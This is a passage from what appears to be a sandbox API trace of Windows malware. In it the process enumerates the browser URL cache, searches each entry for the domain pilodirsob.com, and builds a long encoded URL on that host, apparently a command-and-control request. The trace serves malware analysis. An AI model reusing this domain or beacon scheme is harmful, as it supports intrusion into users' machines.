(lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/hKwg8OaHHgS.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.154] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.154] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/T5dulIYQq84F0WjyJUxJ.ppt", lpSrch="pilodirsob.com") returned 0x0 [0096.154] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.155] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/MfwyTnE4iFa5h9ugGQrN.pdf", lpSrch="pilodirsob.com") returned 0x0 [0096.155] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.155] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/SjLKY_5Dm-8SOC.xls", lpSrch="pilodirsob.com") returned 0x0 [0096.155] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.155] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/mn2%20LcY4GUIecD_.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.155] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.155] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/l1bgOIHxE2P.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.155] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.155] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/PTsUdLj.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.155] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.155] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/KBQZNG4i7j8.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.155] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.155] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/_IJOcqcmeHFr9tYfyh.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.155] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.155] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/NIMuK7.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.155] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.155] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/99en0joo4697S6Ply8c.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.155] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.155] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/p0wZEr1Gdg6.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.155] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.156] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/gt06Y_qsET.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.156] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.156] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/u4W7ouy80phhP-B9lpM.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.156] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.156] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/MpncdNiVe8l4XxDfPC.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.156] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.156] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/Imdq5H_.pdf", lpSrch="pilodirsob.com") returned 0x0 [0096.156] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.156] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/AqfhNAWOaNpeMnbA.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.156] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.156] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/Req5F_foHfyN.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.156] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.156] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Z3zsui1f6tKO9.odt", lpSrch="pilodirsob.com") returned 0x0 [0096.156] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.156] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/_q_M.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.156] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.156] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/xKrI%20YIsYZAMK3.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.156] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.156] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/1Nbjb.csv", lpSrch="pilodirsob.com") returned 0x0 [0096.156] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.156] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/F9tvnzY%20y%20Ws6M.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.156] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.157] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/cL5j2IsQXoG_m811.rtf", lpSrch="pilodirsob.com") returned 0x0 [0096.157] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.157] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/MVjmbl2VG-kil9l.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.157] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.157] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/CxnHb6T3sE6UOsni3FQS.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.157] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.157] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/2B4wzDIgK8y.docx", lpSrch="pilodirsob.com") returned 0x0 [0096.157] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.157] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/S4EkYkW8VR.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.157] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.157] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/odSuOiq0XNRIhfz.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.157] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.157] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/cnuuaN6.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.157] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.157] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/HYnI7oS3.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.157] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.157] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/dd3O.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.157] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.157] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/lC5vY2DseDnk83eN.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.157] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.157] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/OQH3M.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.158] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.158] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/biY7nHZrMc.doc", lpSrch="pilodirsob.com") returned 0x0 [0096.158] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.158] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/ELxtM.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.158] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.158] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/pbyLR8KlH7TIC/_uEHGA5N-.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.158] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.158] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/pM2SVtUE.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.158] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.158] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/Goqt.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.158] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.158] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/nedQWQ4Rzcq.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.158] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.158] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/MihBgkQ6yu89sgOk.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.158] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.158] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/agwS9jwJhHy%20p1.odt", lpSrch="pilodirsob.com") returned 0x0 [0096.158] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.158] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/37faU3%20U8a8X.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.158] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.158] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/dW6OQzT/FvH7i.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.158] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.159] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/VihuLBb9PQiL%20O.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.159] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.159] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/p61-x6Q.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.159] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.159] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/BF77dVayz84Lz3Pys.odp", lpSrch="pilodirsob.com") returned 0x0 [0096.159] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.159] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/ZtzB50.ods", lpSrch="pilodirsob.com") returned 0x0 [0096.159] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.159] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/4KATP.png", lpSrch="pilodirsob.com") returned 0x0 [0096.159] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.159] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/AHyV.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.159] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.159] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/th0kck.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.159] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.159] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/j1z9VOGi%20PA5X.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.159] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.159] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/2A6bXM9.rtf", lpSrch="pilodirsob.com") returned 0x0 [0096.159] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.159] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/mo0DEbXi.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.159] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.159] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/aRTD.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.160] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.160] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/JQKOZm.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.249] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 0 [0096.250] GetProcAddress (hModule=0x7feff340000, lpProcName="FindCloseUrlCache") returned 0x7feff34e600 [0096.250] FindCloseUrlCache (hEnumHandle=0x1) returned 1 [0096.250] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0096.256] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5dc [0096.256] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x6d8 [0096.256] lstrlenA (lpString="pilodirsob.com/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif") returned 243 [0096.256] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf5) returned 0x9b6fe70 [0096.256] lstrcpyA (in: lpString1=0x9b6fe70, lpString2="pilodirsob.com/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif" | out: lpString1="pilodirsob.com/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif") returned="pilodirsob.com/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif" [0096.256] StrChrA (lpStart="pilodirsob.com/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif", wMatch=0x2f) returned="/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif" [0096.256] StrChrA (lpStart="pilodirsob.com/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif", wMatch=0x3f) returned 0x0 [0096.256] lstrlenA 